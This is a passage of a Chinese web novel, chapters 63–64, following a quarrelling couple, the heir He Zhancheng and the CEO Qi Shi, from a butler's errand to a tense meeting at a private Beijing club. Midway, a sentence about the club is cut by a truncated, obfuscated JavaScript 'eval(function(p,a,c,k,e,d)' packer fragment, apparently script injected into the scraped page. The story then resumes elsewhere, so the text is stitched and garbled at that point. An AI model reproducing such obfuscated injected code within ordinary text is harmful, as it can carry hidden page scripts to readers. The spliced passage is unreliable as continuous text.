云叔不太赞同道:“这样兴师动众的,不太好吧?” “怎么不好?”何湛程不悦地瞥他一眼,反问道:“本少爷难道就不金贵么?我这人生地不熟的,生病了不得托人找个好点的医生?” 云叔:“……” 这哪里是在找医生? 这不就是给人家提供一个嘘寒问暖的借口,借机发展关系么? “而且,”何湛程抠着手指甲,“呼”地一吹,说,“李天涯比那个谁帅多了!” 云叔忍不住道:“帅归帅,但是和您不太合适。” 何湛程挑眉:“怎么不合适?” 云叔顿了顿,说:“人家是正派人物。” 何湛程呵呵一笑,“啪”地一拍桌子,说:“正派人物怎么了?本少爷也是正派人物!所以你快去把我珠子从那个傻逼大反派手里抢回来!他要是敢不给,你就报警!我那珠子可是八千万打底起卖的宝贝,放博物馆里都够开个主题展了,那臭不要脸的穷小子成天戴自己手上,也不想想他配么!” 云叔忙声道:“好好好,我这就去,这就去!祖宗您就消停点儿,看你的嗓子都喊成啥样儿了?听叔一句劝,吃完饭赶紧把药吃了,再回屋躺会儿,其他事儿就交给我和小张了,放心!” 说罢,和何湛程打过招呼,转身又要出门。 “还有一件事。”身后人说。 “怎么了?”云叔诧异回头。 “你在他面前不要多嘴,不许告诉他,我本来准备读燕大的事。” “为什么啊?”云叔不太情愿,他还指望着把这事儿讲给戚总裁听,撺掇着戚总裁赶紧把这小祖宗追回来呢! “因为他不值得。” 63.第63章 云叔上门讨沉香珠子,对大堂前台报的是一句“我要见你们戚总,你一说‘何三少’,他肯定就懂了”,然后就被人告知总裁正在开会,他没有预约,所以需要稍等片刻。 云叔就在擎荣集团VIP会客厅里等候,闲着没事儿,倚着十来万的真皮沙发上看了仨小时电视,喝了两壶上等龙井茶,磕了半斤焦糖瓜子,正昏昏欲睡之际,某个西装革履一米九的巨型男人推门进来,浓眉肤白五官深邃,逆天长腿踩着蹭亮皮鞋,差点闪瞎他老人家的眼。 男人也是一愣。 似乎没想到客人是一个老头儿。 云叔注意到,男人在看见自己时,眼底温柔的笑意与光彩刹那间熄灭黯淡下去了。 戚时朝他走来,俯身弯腰,彬彬有礼地伸出手:“您是湛程的?” 云叔有点尴尬,起身和对方握手:“我姓云,是湛程的管家,他托我找您取点东西。” 说着,视线下移,看一眼男人手腕上戴着一块儿银色的Rolex格林尼治II,以及,对方配饰在手表旁缀着两颗南红珠子的沉香手串,意味明显。 戚时一顿,垂下头,眼神似乎更加暗沉。 他沉默几秒,说了句“行”,抬手攥住珠子就要摘下,想到什么,忽地动作又一顿,态度坚决地说:“不对,这是我的!” 云叔:“?” 戚时一笑,跨着长腿,转身一迈,一屁股坐进茶几对面的真皮沙发上,抬头冲他一摆手,说:“您坐,我们聊聊。” 云叔摇头,说:“戚总,咱们就别兜弯子了,您也知道,我们家这位小祖宗不好哄,不管您现在怎么打算的,那都是您和他之间的事,您别为难我们这些底下人。” 戚时双手十指交叉,点头附和,说:“行,理解,我不为难您。” 云叔轻松一口气,微微笑着道谢。 心想,戚时不愧是年长者,跟家里那位祖宗比起来,这位虽然年纪大了点儿,但人家自然有年纪大的好处:成熟、有礼,少那些弯弯绕绕,让他这种老人家十分省心。 云叔就在茶几前站着,这般静候着,等对面那位成熟有礼的总裁摘珠子交还给他。 眼巴巴地站了五分钟,总裁丝毫没有动作,反而沉浸式埋头给自己沏上了一壶龙井新茶。 不仅如此,总裁那只腕上戴着他家少爷命根子的手,挑衅一般,故意展出两根骨节分明的修长手指,捏着袅袅飘香的翠玉茶杯,一脸惬意享受地浅酌慢饮着。 总裁察觉他还站在原地,恍若失忆般,再次一抬手,说:“您坐啊,我们聊聊。” 云叔:“……” 说好不欺负他老人家呢? 无奈提醒:“戚总?” 戚总低头喝着茶,上梳着一头乌黑帅气的大背头,五官深刻凌厉,气场霸道悍然,室内灯光打在他身上,他半张脸埋在黯然阴影里,另一侧脸庞散着白皙俊丽的流光,高挺的鼻梁,唇红齿白,光彩照人,帅得简直令人移不开眼。 云叔也不禁恍惚了一下。 心想,这小伙子确实是不错啊,难怪能让湛程为他痴迷成那种程度。 从小到大,湛程任性撒泼,都是因为自己家里人管教严苛,什么时候因为哪个情人动过怒气? 对于情人,来去随缘,他家小少爷一向是大方洒脱的。 但显然,这位总裁和少爷一样,不是什么善茬。 这一会儿态度铿锵,一会儿又装傻充愣,一副收放自如的强盗行径,更没有要还东西的意思。 云叔叹了口气,无奈坐下,好言好语地跟对方商量:“您想聊什么?” 戚时放下茶杯,抬眼看他:“他生病了?” 云叔点点头:“连续三天高烧39.7℃,昨夜里刚退了烧。” 戚时心中一紧,忙问:“严重吗?” 云叔瞥他一眼:“本来今早再休息休息就能好了。” 言语中不乏有责怪的意思。 他也确实不满戚时大清早就打电话找少爷吵架。 戚时这么大人了,一个在恋爱里做长辈的,怎么就不知道多让着点他家宝贝少爷? 戚时低下头,面有愧色:“劳烦您去告诉他,吵架归吵架,我没说要跟他分手。” 云叔“唉”一声,头疼不已,劝道:“这种事我个老头子怎么转达啊,您该亲自跟他说。” 戚时顿了顿,说:“他把我删了。” 云叔撺掇道:“那您就把他加回来啊。” 戚时黯然:“我申请了,他没通过,我还让整个公司总部好几万人都申请了,他一个人也没同意。” 云叔:“……” 云叔安慰道:“他把手机摔了,这会儿还没装好呢,您晚点儿再申请。” 戚时点点头,说:“我知道,等过两天他消气了,我亲自去登门拜访。” 云叔诧异:“您知道我们住哪儿啊?” 戚时苦笑:“这个不难。” 云叔心中不禁有些感动,忍不住多提了一嘴:“您别等两天了,有空的话,您今晚就来找他吧。” 戚时摇头:“他不会见我的,我……” “我暂时也不想见他。” “好吧,”云叔无奈一笑,“不过要等两天后,您也就不用来了。” 戚时神经一紧,浓眉紧蹙结成一团戾气:“怎么?他这么快就和别人在一起了?” 云叔:“你们在一起的时候,就有很多人在追求他,他一个都没当回事儿,把那些联系方式都扔了,现在你们分——” 戚时沉声打断:“我说了,我们没分手!!” 云叔揉着太阳穴,忙摆手:“好了,您自己怎么认为,那是您自己的事,我只是一个跑腿的,您跟我再大声强调也没用。” 戚时胸腔升腾起一阵怒意:“他现在跟谁在一起?” 云叔摇头:“这个恕不奉告。” 戚时狰狞地笑了起来,心头隐隐刺过几分痛意。 他冷呵一声:“当然了,你们都是一大家子,父亲哥哥呼风唤雨,一堆管家仆人前呼后拥,住的是大庄园,来往朋友都是政商界的大人物,你们也就欺负我戚老二是孤家寡人吧,他厌倦了就不把我当回事儿,你们底下人自然也就不把我放在眼里了!” 云叔张了张嘴,试图解释,但想起临行前何湛程警告他“不要多嘴”,最后还是没吭声。 这不是他该插手的事。 等戚时脾气稍收敛些,他再次道:“既然这样,我们湛程那串珠子,您看?” “珠子?”戚时如川剧变脸,皱眉纳闷起来,反问他:“什么珠子?” 云叔:“……” 戚时炫耀般冲他一抬手腕,颇为嘚瑟地晃着手上缠的那三圈的沉香珠,说:“这是我的啊,老子凭自己手段戴上去的,你有什么证据能证明这是你家少爷的东西?” “就因为他的一句话么?”戚时笑得咬牙切齿,一脸不甘地瞪着他:“你家少爷除了身上穿得那一身名牌,他有几句话是真的?!” 云叔点点头,说了句“行”,起身走人。 他好歹是见过大场面的人,谈判桌对面完全就是个强盗,他已经没有再谈下去的必要。 难怪少爷提前打过招呼,说实在不行就报警呢,这个戚总裁和他家祖宗,还真是各有千秋,天生一对啊! 云叔一脸风轻云淡地打道回府。 他不打算先告诉祖宗呢,省得人再发飙又给气病了。 他要把这个烫手的差事扔给小张,小张年轻力壮,比他这个老人家禁得起折腾。 临出门前,身后人沉默注视着他离开,突然,那人一连串嘱咐连珠炮似的,不停歇冲他背后吐着: “不管他怎么认为,反正我还当他是我的人,他一天在京城住,我就对他负一天的责任。” “劳烦您监督他好好吃药,吃饭也是,他最近在长身体,但是人又爱臭美,总是为了保持身材装作没胃口,其实背地里饿得能吃下一头牛,您要是真为了他好,就让人把他衣柜里那些紧身黑毛衣和紧身裤都偷偷换成再大两码的,他早上挑衣服的时候还没睡醒,察觉不出来; 还有,他睡前床头柜要放两台加湿器,不能再让他喝酒,红酒也不可以喝;睡衣不要穿真丝的,要穿棉质的;阴天的时候,他容易脚冷,就算盖着被子也要穿一双薄袜子,还有,他有光脚踩地的习惯,所以整个卧室都要铺上小羊绒毯;还有饭菜,他可能——” 男人顿了一下,继续道:“他可能偶尔会想要吃点儿咸的东西,你们不要给他吃,他吃太咸容易喉咙发炎。” “哦对了,说到发炎——” 他低头掏手机给新秘书发短信,嘴上念叨不停:“这是他来京城后才经常犯得小毛病,我这里有张药单,这就让秘书打出来给您带走。” 只须臾,门外被人敲了三声。 戚时一声“进”,一个面容朴素的职业装女秘书走进来,将刚打印出来的药单递给云叔,称呼道:“何先生。” 云叔正要解释,身后人似乎有些疲惫地纠正:“这是云先生。” 秘书尴尬一笑,对云叔说了句“抱歉”,不远处戚时一挥手,她便退了下去。 戚时也很无奈。 茉莉出远差去了,他身边不能没有理事的人,临时提拔上来个行政部的员工,她不清楚他和程儿之间的事,否则也不会把云叔晾这儿整整仨小时,才在他会议结束后告诉他“何三少来找您,正在会客室等着”。 鬼知道他刚才激动得差点连鞋都跑飞了。 云叔收下单子,对折四折叠好揣兜里,扭头看了坐在沙发上的男人一眼。 男人埋头扒拉着手机备忘录和日历,似乎是在找还有没有漏掉的内容。 “江山府。” “晚上您有空了,过去看看吧。” 云叔撂下这两句话就走了。 *** 凌晨两点钟,京城繁华的商业街道亮着寂静的光,恢弘壮阔的建筑物周围永远是静悄悄的,这是独属于京城的矜贵——一切疯狂与奢华都掩藏在暗色之下。 二环道上,一辆骚红色的玛莎拉蒂播放着潮酷狂放的摇滚乐,擦肩而过路旁屋顶层叠起伏的仿古建筑,穿梭过光彩流溢的高楼大厦,满载着笑语欢声不断的宾客,一路狂飙碾压霓虹夜景,疾奔向路尽头的寂静最深处。 车主是一如既往的炫酷潮流。 他穿紧身半透明的工字白背心,漂亮的锁骨间悬着条细细的十字链,外套一件亮银铆钉设计的机车皮衣,新烫的头发,额前卷毛挑染了几缕奶奶灰,衬出他完美腰臀比的紧身牛仔,干练利落的马丁靴,一手漫不经心地打着方向盘,另一手随意地揉捏着副驾美女软若无骨的细滑手指。 他薄唇勾起,笑意迷离地望着前路,邪恶又清纯,惹得身旁美女愈发沦陷为他疯狂。 “我好爱你。”她对才第一晚就认识的他表白。 “我也爱你,宝贝儿。”他看也不看她一眼,脑子里想着另一个男人的音容笑貌,却也同样对她深情款款。 无所谓车后还有其他人在看戏,美女一脸痴迷陶醉,正要抓着他的手往自己胸口里送,他扔在旁边的手机不合时宜地响起,震动个不停。 她笑吟吟的,夺手抢走他电话藏在身后,整个人依偎过去,撒娇道:“不许你接。” 何湛程也笑,捻着手指,轻轻拧了下她漂亮的脸蛋,一脸温柔宠溺:“你这个小坏蛋,我前任都没敢这么动过我手机呢。” 她心中一动,扭过头,满怀期待地问他:“那我呢?” 何湛程哈哈笑起来,一把揽过她肩,俯身凑在她耳畔,语气亲昵异常:“宝贝儿,我前任是上市集团的CEO,全国数一数二的大老板,身价九百二十八个亿,你算个什么东西?” 一句话,她被迫打回原形,他仍温柔地笑着,宽大掌心抚摸宠物般揉弄着她后脑勺的头发,她却被吓得炸起一身的鸡皮疙瘩,整个人如坠冰窟,尴尬地僵在原地,一动不敢乱动。 何湛程不耐烦道:“手机!” 她惊得头皮发麻,连忙缩身子退了回去,双手将他的手机奉上。 何湛程冷呵一声,漠然着一张脸,从她手中接过电话,瞥一眼来电显示。 亲亲大宝贝的哥哥(戚铭) 何湛程翻了个大白眼。 然后想也不想就挂断了电话。 架是早上吵的,他把“亲亲大宝贝”改成了“死人”,然后果断将人给拉黑了,忘了“死人”并不是孤身一人,家里还有个又当哥又当爹的。 一手打着方向盘正拐角,另一手指飞快按键准备把戚铭也拉黑,对方及时弹出两条信息: 一条微信:【接电话】 另一条短信:【不接电话我马上打电话给你大哥,让他把你卡停了】 何湛程:“…………” “缺德”这一项低劣品质,戚时是完全随了戚铭吧? 嘟囔了句“真不愧是一家子”,不情愿地给对方打过去,满脸不痛快地问:“怎么了?” 对方简言意骇:“老二在你旁边吗?” 何湛程冷哼一声:“没有,我跟他分手了,你以后也别在大半夜骚扰我。” 对方顿了下,说:“我不知道,这事他没跟我提。” 何湛程忍不住翻白眼:“你有事没,没事我挂了!” 对方沉声道:“我不管你们今天闹什么矛盾,反正这月初他回家的时候,还跟我说你们俩现在过得很幸福!” 何湛程火气蹭地一下上来:“那只是他自己那么觉得而已!我上个月就从他家搬走了,谁让他自作多情的!” 戚铭那边似乎在揉太阳穴,嗓音也有几分倦怠:“行了,我现在没功夫跟你吵架,他那天把果汁儿扔我这儿了,茉莉出差去了,老二家里的保姆总是舍不得喂给它好东西,他就说把果汁儿放我这儿看几天。” “他那条狗娇纵得不像话,一点边界感都没有,今晚上竟然敢偷跑进我卧室睡觉,我现在浑身上下都是疹子,你赶紧叫他把狗领回去,我才真是受够了!” 何湛程无语:“我们家果汁儿本来就应该有自己的房间,不然你让它大晚上睡客厅啊?还有,你长疹子打我电话干什么,你给他打啊!” 戚铭头疼不已:“他总说过几天,过几天,这都过了快一个月了,我说话要是管用的话,还找你干什么?” “他之前那么宝贝这狗,现在又说累了没精力了养不动了,推三阻四的,一点责任心都没有,哪里还有个成年人的样子!” 何湛程无法理解他的脑回路,蹙着眉头说:“我都跟你说了,我们分手了,We!broke!up!你身上长疹子和他不想养狗了这些事都跟我有什么关系?” “你还没明白我意思吗?”戚铭也有点上火了:“他现在连我的话都不听了!他就只听你的!” “我上个月硬拉着他去看心理医生,那傻小子就为了让你心里能一直惦记着他,提前整理了七百多页的应对策略,把诊断过程中所有可能会遇到的题目答案都背过了,人家医生问他问题,他一一对答如流,衣服也是一反常态,穿得五颜六色,头发也染得乱七八糟,他人坐在诊断室里,满嘴胡话,一张脸笑得比谁都活泼开朗,这他妈的还让人家怎么治?!” “我还给他打电话?”戚铭怒气冲冲道:“摊上这么一头犟驴做弟弟,老子没让他气死就不错了,还有什么好跟他聊的!” 何湛程听得皱起眉头,举着电话拿远了点儿。 在凌晨两点钟开车跑去泡妞的路上,被前任的家长打电话连喷带骂一通有的没的,他还是人生第一次遇到这种晦气事。 看在戚铭今晚被狗和疹子扰得不安宁的份上,何湛程等人发完火,难得耐心和对方解释: “你放心吧,他那是心病,该解决的我已经替他解决了,该出气的,我也已经替他出了,我和他一起住的时候,我看那小子天天晚上睡得跟猪一样,哪里有问题了?” “还有你,你少杞人忧天,我知道你们这种上了岁数的人,整天净胡想八想的,难怪他烦呢,是我我也烦。” “我告诉你啊——” 江山府到了,门庭华丽而冷清,因为它无需太多客人。 这是一处仅靠2%的会员就能经营不衰的奢华高档场所,一车子俊男靓女探头四望,打量着这座单是入会门槛就高达百万的私人俱乐部 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她顿了顿,朝他走过来,抬眼说:“三少,我叫吕薇,不叫小艾。” “哦,随便。”他搂着她肩膀就往里走,说:“我们走吧,小艾。” 他每个懒得记名字的人都这么称呼的。 小艾,如果是英文,就叫艾利克斯或者艾丽克斯,可男可女的名字,完美适配所有人。 何湛程带着她往庭院里走,身旁众人纷纷围过来,两个穿双排扣暗龙纹黑褂子的年轻门童走出来,一脸淡淡矜骄,步履平缓地带他们去包厢。 一路灯火盏盏,蝉鸣不绝,七分富丽堂皇新式四合院的气派,三分金华璀璨现代都市的气息,一帮人笑哈哈地谈论着京城二代圈子里各种八卦黑料:哪家二世祖创业失败险些亏空家底、哪个军官老妈棒打鸳鸯逼得痴情儿子自暴自弃、哪家大儿子卓越非凡,二儿子却在燕京大学留级两年还没读出个名堂,年初换赛道出国去了…… 闲谈八卦,大家自然是喜欢捡着劲爆消息升温发散,说起被棒打鸳鸯的那个军官,据说还是个少将,他和他女友简直是当代性转版的梁山伯和祝英台:出身贫苦的女友被母亲施以雷霆手段赶走了,他为表抗议,辞职在家,像个活死人一样瘫着,无论春夏秋冬,只穿背心短裤,用尽手段作践自己身子,谁来劝都不听,最后的最后,他干脆把听觉退化掉了。 听说他母亲天天掉眼泪,肠子都悔青了,五年过去,他母亲终于松了口,放他去找她,他没去,因为她早已结婚生子。 他们说,倒不是病,他只是无欲无求了。 他初时还抱期待,有几分与家庭对抗到底的血性,现在人彻底废了,天天瘫在沙发上,比植物人还不如。 “京城爷们是粗犷性子,但净是些痴情种子,认准了一个人,那就只是那一个人,比不得江南水乡温柔调调,世家公子哥儿一个赛一个的俊逸风流!” 他们笑谈之中,既顾着自家里子的体面,又不着痕迹地捧了一把何湛程。 何湛程不屑一笑。 江南人风不风流,他不知道,这帮兔崽子一个赛一个的人精,倒是很对他口味。 他和这帮人认识有一阵子了。 他刚回国那几天,燕大举办校友会晚宴,一为筹集学校科研项目的经费,顺便募几块石头雕塑装饰校园景观;二为学生自主创业团队与投资人搭桥建梁,促进校企合作;三为校友提供跨届、跨行业交流的平台,获取内推机会、与资本对接—— 说白了,就是自己人带动自己人,肥水不流外人田。 那晚政商各领域大佬云集,群英荟萃,除去燕大学生会那帮人,不乏年轻漂亮的富二代和邻校学生们进去浑水摸鱼,何湛程作为新转学生兼投资人,当晚凭着年轻出众的外貌、非凡卓绝的谈吐、新颖别致的身份,不出俩小时就收获七八个臭味相投的京圈朋友,并以他何湛程自己的身份,结识不少各行业的大佬。 他现在是彻底融入进这个圈子里去了。 但他马上又要离开了。 北方人喜酌烈酒,一言不合就要敬酒罚酒,一口53°飞天茅台下肚,烧肺又穿心,两三杯灌入喉,呛得他眼泪都能流出来。 他每晚周璇于不同饭局之间,心心念念着,既然他家二哥舍不得在京城的荣华富贵,不肯跟他远走高飞,那他就干脆也留在京城好了。 他二哥外刚内柔,心思敏感,出门应酬,在酒桌上被那群糟老头子笑话一句“诶,你家从前是卖咸菜的啊”,他二哥明面上不动声色,私下蔫蔫地闷着头,一缓就要缓好久。 他要变成那种很厉害很厉害、厉害到能为他二哥遮风挡雨的男人。 他一个后辈晚生,单枪匹马,入乡随俗,看似夜夜笙歌,背地里喝酒吐到肝肠寸断。 他旧疾频频复发,医院酒局来回跑,一边想着,这是今晚最后一杯了,咽下这口,他就再也不碰这种烧死人不偿命的破玩意儿了,不然家里的老爷子真该心疼了;一边又想着,他何湛程这回说什么也要干出一番事业来!他要让他父亲、大哥、二哥……家里人上上下下都对他刮目相看! 还有戚时,戚时也能受自己的庇护,俩人从此光明正大地在一起,就算哪天分手了,旁人一提起来戚时是他何湛程包养过的男人,往后在生意场上行走,即便那帮老古董心里不屑,也没人敢再在明面上欺负他二哥。 他是这样想的。 他从前一向是只想不做的那种人。 这一次,他做的比想的还要多得多。 这一切付出都是为了谁啊? 戚老二居然反过来指责他无情无义。 何湛程对戚时恨得牙痒痒。 如果他不公然挑衅对方一回,他怎么能甘心地消失? 夜色撩人,灯火葳蕤。 一行人叽叽喳喳着穿过竹林长廊,正说得高兴,何三少佳人在怀,前呼后拥,他走在最前面,环顾四望,用一种极其挑剔的目光,打量着周遭景观布置,然后言辞犀利地将不周到之处贬低一番。 忽地,他瞥到某个长廊拐角,深眸凝起,脚步也停下。 “怎么了三少?”众人也纷纷止住步子,不约而同沿着他视线看去。 斜对过亮着几盏灯,金砖黑影,廊檐交错,陆续迈出三个身材高大的男人。 最前面的男人的个子最高,黑衬衫紧束进烟灰西裤,华伦天奴的腰带,意大利真皮革手工制皮鞋,袖子挽到肘间,襟口松开两颗纽扣,痞气又干练; 第二人宛若一阵清风明月,步履从容,缓缓飘出,脸上泛着淡淡笑意,脾气很好的样子。 二人指间都夹着烟,周遭云雾缭绕,边走边说,正认真谈论着什么,身后又带出一条年轻的小尾巴—— 一位个子稍矮些的少年。 他一身美式潮流红T恤和宽松牛仔裤,耐克鞋,纪梵希的墨镜倒挂在后脑勺,左手闲闲插兜,另一手握着罐插塑料吸管的冰镇可口可乐。 那只手腕很金贵,戴着一条钩织着黑檀木与金刚杵的暗绿色编织手环,和一只银色的爱彼手表。 何湛程他们这边过分热闹了,那三人很快注意到他们,不约而同扭头朝这边望过来。 第一个男人瞥见他怀里的女人,眉梢一挑,笑意更深,说话也劲儿劲儿的:“哟!” 第二个男人一见他,立刻惊喜出声:“三少!!” 第三位少年翘起嘴角,眼底笑意浮起,扬着胳膊朝他招了下手:“Hi!三哥,long time no see!” 戚时,裴玉,何厉风。 何湛程立刻皱起了眉。 64.第64章 裴玉一看见久违的心上人,感动得眼泪都飙出来了。 想起这阵子在美国受过的苦,那更是如同见到了亲人。 忙不迭捻灭烟头,拔腿就朝人奔过去,完全顾不得身旁老板突然黑下来的脸。 何湛程被裴玉这几嗓子嚎得头疼,见人如野人冲刺狂奔而来,忍不住脖子一缩,连忙摆手停止。 “站住。” 裴玉紧急刹车,维持着咫尺之距,不敢再靠近。 眼巴巴站人面前:“三少,你怎么跑这儿来了?” “我?”何湛程冷呵一声,瞟着眼神飞去另一旁,冲人阴阳怪气道:“我能来干什么?当然是带着我的新女朋友来happy啊!” 裴玉“哦”一声,没敢回头。 因为随着某人气场十足的逼近,他后背冷汗涔涔,不用回头也知道是谁来了。 戚时一把拎走裴玉,正对着何湛程站着,何厉风笑嘻嘻地挤进来凑热闹,也被戚时不留情一巴掌扇出两米外。 戚时两手叉腰,抬着下巴,不屑的眼神在何湛程和他的新女友之间来回打量,嗤声问:“怎么,最近喜欢女人?” 何湛程忽地竖起耳朵,眼神越过戚时,探头左顾右盼,一脸稀奇地问身旁众人:“谁?是谁?” “谁在狗叫?你们听到了吗?” 众人低头憋笑,又不敢太过放肆。 他们之中有人见过戚时,知道这位来头不小。 “噗哈哈哈哈哈哈哈!”一道爆笑声炸在虚空,异常刺耳。 何湛程一伙儿人、戚时、裴玉,齐刷刷闻声扭头看去。 何厉风倚着栏杆捂着肚子笑得正癫,可乐洒了一地,连墨镜都掉地上,被他踉跄的脚步踩成了两半。 众人:“……” 何湛程不想跟戚时说话,冷着脸撞过戚时肩头,走到何厉风面前,抬腿脚踩栏杆,一把揪起对方衣领子,沉声逼问:“你不是上学呢么?谁让你跑回国的?还跟他们那些人混在一起?” 何厉风笑够了,清清嗓,冲三哥眨了下眼:“三哥你别误会,我今天是好人呢。” 然后简单粗略地对何湛程道明前因后果: 按照何厉风的说法,裴玉自从去加州后,发现何冲霆居然是个才刚满十七岁的小屁孩,转身拔腿就要跑路。 其实裴玉真正无法接受的,是何冲霆是何湛程的堂弟。 这话是何厉风怕裴玉听见了尴尬,偷偷在何湛程耳边讲的。 总之,不管何冲霆怎么哄,裴玉都坚决不从,何冲霆脾气上来,就把裴玉的护照身份证手机钱包全扣押了。 裴玉有家回不了,何冲霆的管家仆人他也使唤不动,只好绝食自虐,准备以死明志。 何厉风是唯一一个可以随意进出何冲霆房子的人,他觉得哥哥这次有点做过火了,连裴玉生病住院都是在家安排的私人医生,不许裴玉踏出家门一步。 裴玉成天躺在何冲霆卧房吊着输液管子,求生不得求死不能,这和非法|囚|禁有什么区别? 何厉风一边等着裴玉养好身子,另一边在何冲霆家里偷到裴玉的证件,然后今天亲自护送,帮助裴玉逃回国。 “是么?” 何湛程一脸不信。 他们何家就没有好心肠泛滥的人。 何湛程眯起眼,怀疑的目光将何厉风上上下下地打量:“现在人送到了,你怎么还不走?” 何厉风笑得一脸欠揍,说:“时哥奖励我,请我喝饮料,我待会儿要跟他们去打台球呢。” 哦—— 何湛程恍然。 这货是奔着戚时来的。 裴玉是能给戚时赚金库的人,何厉风这色心不死的臭小子当然要马不停蹄地赶来献殷勤了。 “呵!”何湛程甩手将何厉风丢开,扭头瞪戚时,骂道:“朝三暮四的禽兽,吃多了也不嫌噎得慌!” 戚时:“????” 莫名其妙就被扣了屎盆子,他才冤枉呢! 他能看上何厉风这种细胳膊细腿、连毛都没长齐的小屁孩? 戚时忍不住张了张嘴,意图解释,但见何湛程这副滔天醋劲儿,他心里突然又觉得挺美。 他嘴角微微笑着,走过去弯下腰,将倒插葱栽般被插进草坪里的人扶起来,一边替人拂去头发上的湿草,一边温柔关怀:“厉风,你没事吧?” 何厉风和裴玉头顶恍若一道闪电雷劈,同时炸起一身鸡皮疙瘩。 何厉风刚吃了一嘴土,呸了几口草,明知戚时是假意,照旧歪身倒进对方怀里,拱头在戚时饱满紧实的胸肌上蹭两下—— 嗯对,趁着三哥和三哥夫吵架,他有便宜不占是傻叉! 何厉风双手搂住戚时劲瘦腰身,冲人哼声撒娇:“二哥,我好痛哦。” 何湛程和戚时头顶恍若一道闪电雷劈,同时乍起一身鸡皮疙瘩。 戚时忍着恶心,在怀里人腰后狠掐一把,压声警告:“‘二哥’不是你小子该叫的,给老子老实点儿!否则待会儿再把你扔去水室,和老子养得那两条鱼作伴去!” 何厉风立刻想起刚才的悲惨遭遇,浑身打了个寒噤,忙不迭小鸡啄米着点头。 他和裴玉是今晚在燕京落地,戚时派人去接的。但戚时声称今晚要蹲点,不能离江山府,他没奈何,取消了提前订好的情侣包厢烛光晚餐,和裴玉作伴跑来了。 据说他们刚起飞不久,何冲霆那边就火冒三丈了,立刻搭了下一趟飞机要逮人,裴玉有钱归有钱,但背后没个撑腰的,迟早要被何冲霆给作践死,偏偏何厉风比何冲霆晚出生三分钟,是弟弟,也就是“非嫡长子”。 在他们这种家庭出生的孩子,也就这两种身份。 和何湛程一样,他可以随便在外面风流浪荡,大把钞票撒着、无数俊男美女泡着,但他们这种人本身在家族里说不上话,何冲霆一发话,他就要低头,所以他是不可能把裴玉藏在自己家的。 而且,裴玉怎样,管他何厉风屁事? 他跑回国本来就是要找个借口和戚时多亲近一下。 何湛程眼界太高、太贪心,要是有个像戚时这种无论身材身高、长相脾性都完美到无可挑剔的程度,但凡这人落到他手里,他何厉风做梦都能笑出来,哪里还会在乎这人身上的那点微不足道的小瑕疵? 他也不是突然良心发现才帮助裴玉逃跑的。 是因为上周跑去参加何棣坤的party,听何棣坤随意聊了一嘴,说何湛程和戚时似乎是在闹不和,因为戚时和何棣坤的赌约—— 何棣坤大叫委屈,发誓他真心不是故意的,但很快又给自己挽尊,说,如果俩人连这点小事都经不起考验,也就没必要在一起了。 何厉风支棱着耳朵,全程就听进去两件事: 第一,戚时把何棣坤那辆价值不菲的私人飞机还回去了,顺道把何棣坤也拉黑了,这算是退聘; 第二,何湛程在社交平台上把所有关于戚时的照片和文字全删干净了,这就叫“分手”! 何厉风屁颠屁颠就来泡戚时了。 在三人会面时,何厉风很自然地搂了下戚时腰,仰头笑嘻嘻问了句:“时哥,你是不是和我三哥分手了啊?” 然后戚时慈祥一笑,拎小鸡似的,给他直接拎去了负二楼的水室。 在那间潮湿腥腻的养殖室,将近四百平的恒高温空间,满墙透明玻璃柜攀爬着两栖动物,像什么绿鬣蜥、热带巨蟒、苏卡达陆龟……有些是江山府资深会员家养的宠物,因为种种原因暂时寄养在这里;有些是官方动物园修建中,一些珍稀物种不方便来回运输,就暂存在本地富商私人营建的温室;只有那两条三米长的、满身鳞片散发着神秘绿光的巨骨舌鱼,这是戚时自己养的。 据裴玉说,每逢戚时在工作上遇到困难,就会拎着两斤活蹦乱跳的鲜鱼来水室喂鱼。 大鱼会吃掉小鱼,人也在吃人,任何一个行业,利益当先,不必觉得良心不安,他身在高位,更没有回头路可以走。 迅疾而果决,这是他唯一的谋生之法。 裴玉说,戚时每次都是一脸愁眉紧皱着走进去,在水室待半个多小时,到最后,鲜鱼残渣沉淀在水池子里,鱼袋子被处理掉,满室只留一地血水,和两条吃饱喝足悠然游荡在水中的大胖鱼。 戚时出来后,精神面貌也会焕然一新,整个人宛若脱胎换骨,变得更加杀伐果断。 何厉风表示理解。 像戚时这种从底层爬上来的人,多多少少都有点不为常人所知的怪癖,从普遍角度来说,这种人大多数心理都不正常——才叫正常。 裴玉说,他也是跟了老板五年,才在偶然的一次机会跟着戚时来这里喂鱼。 尤其对于裴玉这种脾性温和的人来说,单是老板一脸平静地站在那里、重复机械式地抓起活鱼进行投喂动作,就让他精神上有点儿受不了。 裴玉也说不上哪里有问题,他只是觉得那个样子的老板很诡异。 就凭他老板那一点就炸的暴躁性子,处事不惊到一定程度,就会变得麻木。 麻木到极点,那就是惊悚了。 老板站在青光灯影下,浑身冒着水粼粼的绿光,双手沾满鲜血,一转身,扑面而来一股呛人的腥臭气,吓得裴玉整整一周都没能吃下饭。 直到现在,偶尔深夜裴玉做噩梦想起来了,还要跑到厕所里狂吐不止。 裴玉想不明白,那么凶残血腥令人作呕的场面,老板怎么会隔三差五就进去经历一次? 至于何厉风—— 就因为他搂了一下戚时的腰,戚时就嫌他不识好歹,非得折磨他一回才算抵过。 戚时体型大何厉风两倍还要多,肱二头肌比何厉风的大腿还粗,臂力惊人,单手将何厉风悬在水池半空,朝着池子里两条体型庞大的怪物来回晃荡,一脸狞笑着,嘴里喊着“三二一,飞喽!”何厉风的脚才刚接触水面,水里两条恶兽霎间如离弦之箭,“哗啦”一下腾跃出水面,激起半丈高的浪花,它们比食人鱼还疯狂着咬向他脚底,牙齿犀利,“嘎嘣”一声,咬断虚空,吓得何厉风生平第一次尖叫出gay的声音。 何厉风被戚时这个同样凶残又混蛋的畜生吓得泪流满面,没一会儿就两眼翻白,口吐白沫,临晕厥过去之前,何厉风还不忘苟延残喘着要给他爸何永州打电话,说,他必须要让他爸把戚时这个狗日的给千刀万剐了! 戚时也愣,他没想到何厉风这么不禁吓。 可能是何厉风行为处事十分世故圆滑,哪怕孤身一人在生意场上交际应酬,都要比他这个半路出家的长辈还要自在娴熟,根本不像是个17岁的小孩儿。 听说在美国某些州,一些16或者17岁的少年如果具备经济独立能力,可以向法院申请“解放令”,提前在法律上被判为成年人。 